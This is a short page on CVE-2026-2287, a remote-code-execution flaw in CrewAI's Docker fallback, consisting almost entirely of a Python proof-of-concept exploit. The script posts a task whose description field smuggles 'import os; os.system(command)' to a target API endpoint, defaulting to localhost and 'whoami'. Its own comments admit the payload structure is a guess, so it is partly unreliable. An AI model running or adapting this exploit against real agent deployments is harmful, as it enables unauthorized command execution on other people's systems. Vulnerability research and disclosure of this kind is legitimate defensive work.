CVE-2026-2287 CrewAI Docker检测缺失致RCE漏洞

# Proof of Concept for CVE-2026-2287 # This script simulates triggering the fallback mechanism in CrewAI # by assuming the Docker daemon is unresponsive or crashed. import requests import time def exploit_crewai(target_url, command): """ Attempts to execute a command on the target CrewAI instance by exploiting the Docker fallback RCE vulnerability. """ headers = { 'Content-Type': 'application/json', 'User-Agent': 'CVE-2026-2287-Scanner' } # Malicious payload that executes system commands # The exact JSON structure depends on the CrewAI API implementation payload = { "description": "Execute task", "agent": "Executor", "tasks": [ { "description": f"import os; os.system('{command}')", "expected_output": "exploit" } ] } try: print(f"[*] Sending payload to {target_url}...") # In a real scenario, an attacker might first try to disrupt Docker # or rely on a race condition. Here we send the request directly # assuming the conditions are met or to trigger the check. response = requests.post(target_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check if command executed.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://127.0.0.1:8080/api/execute" cmd = "whoami" exploit_crewai(target, cmd)